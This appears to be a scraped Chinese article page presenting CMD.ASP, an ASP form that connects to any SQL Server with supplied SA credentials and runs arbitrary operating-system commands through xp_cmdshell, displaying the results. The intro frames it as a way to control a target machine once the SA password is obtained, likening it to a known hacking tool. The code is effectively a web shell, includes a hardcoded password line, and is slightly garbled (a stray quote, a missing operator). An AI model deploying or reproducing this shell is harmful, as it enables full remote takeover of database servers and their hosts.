首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 搞笑文章 > 正文

    oracle存储过程写法_教你SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

    时间：2020-02-17来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    XP_CMDSHELL存储过程是执行本机的CMD命令，要求系统登陆有SA权限，也就是说如果获得SQLSERVER的SA命令，那就可以在目标机为所欲为了，知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。

    下面是我写的一个简单的应用页面(ASP)，代码如下。

    CMD.ASP

    <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

    <html>

    <head>

    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

    <title>SQLSERVER_XP_CMDSHELL实例_魔术师·刘</title>

    <style type="text/css">

    <!--

    body{

    font-size:13px;

    line-height:20px;

    width:760;

    SCROLLBAR-FACE-COLOR: #2896e1;

    SCROLLBAR-SHADOW-COLOR: #6cb4d8;

    SCROLLBAR-ARROW-COLOR: #f0f0f0;

    SCROLLBAR-DARKSHADOW-COLOR: #2896e1;

    SCROLLBAR-BASE-COLOR: #2896e1;

    background-image: url(images/bg.gif);

    }

    .LBR{

    border-top:0px solid #336699;

    border-left:1px solid #336699;

    border-right:1px solid #336699;

    border-bottom:1px solid #336699;

    }

    .all_h {

    border: 1px solid #336699;

    }

    .input {

    border: 1px solid #336699;

    background-color:#ECEAFD;

    }

    .LB{

    border-top:0px solid #336699;

    border-left:1px solid #336699;

    border-right:0px solid #336699;

    border-bottom:1px solid #336699;

    }

    .N1 {font-weight:bold;color:#339933;font-size:13px;}

    .N2 {font-weight:bold;color:#ff0000;font-size:13px;}

    -->

    </style>

    </head> <body>

    <%if request("cmd")<>"" then%>

    <table width=400 border=0 align=center cellpadding=5 cellspacing=0>

    <tr align=center>

    <td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>

    </tr>

    <% dim connstr,conn,rs,i

    ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"

    "ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"

    set conn=Server.CreateObject("ADODB.Connection")

    conn.open Connstr

    set rs=server.CreateObject("ADODB.Recordset")

    set rs=conn.execute("xp_cmdshell ""&replace(replace(request("cmd"),""",""""),chr(34),"""")&""")

    i=0

    while not rs.eof

    if not isnull(rs(0)) then

    if i mod 2 =0 then

    response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"

    else

    response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"

    end if

    i=i 1

    end if

    rs.movenext

    wend

    rs.close

    set rs=nothing

    conn.close

    set conn=nothing

    %>

    </table>

    <%end if%>

    <form name="form1" method="post" action="">

    <table width=400 border=0 align=center cellpadding=5 cellspacing=0>

    <tr align=center>

    <td height=30 colspan=2 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL实例</span></td>

    </tr>

    <tr align=center bgcolor=#DEF3FF>

    <td width=26% class=LB><strong>服务器</strong></td>

    <td width=74% class=LBR><div align="left">

    <input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">

    </div></td>

    </tr>

    <tr align=center >

    <td class=LB><b>SA密码 </b></td>

    <td class=LBR><div align="left"><span class=N1>

    <input name="PWD" type="text" id="PWD" class="input" size="20" value="<%=request("PWD")%>">

    </span></div></td>

    </tr>

    <tr align=center bgcolor=#DEF3FF>

    <td width=26% class=LB><strong>CMD命令</strong></td>

    <td width=74% class=LBR><div align="left">

    <input name="CMD" type="text" id="CMD" class="input" size="20" value="<%=request("CMD")%>">

    </div></td>

    </tr>

    <tr align=center >

    <td colspan="2" class=LBR><div align="center"><b> </b>

    <input type="submit" name="Submit" value=" 提交Command命令 " class="input">

    </div></td>

    </tr>

    </table>

    </form>

    </body>

    </html>

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文oracle存储过程写法_教你SQLSERVER扩展存储过程XP_CMDSHELL的简单应用由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.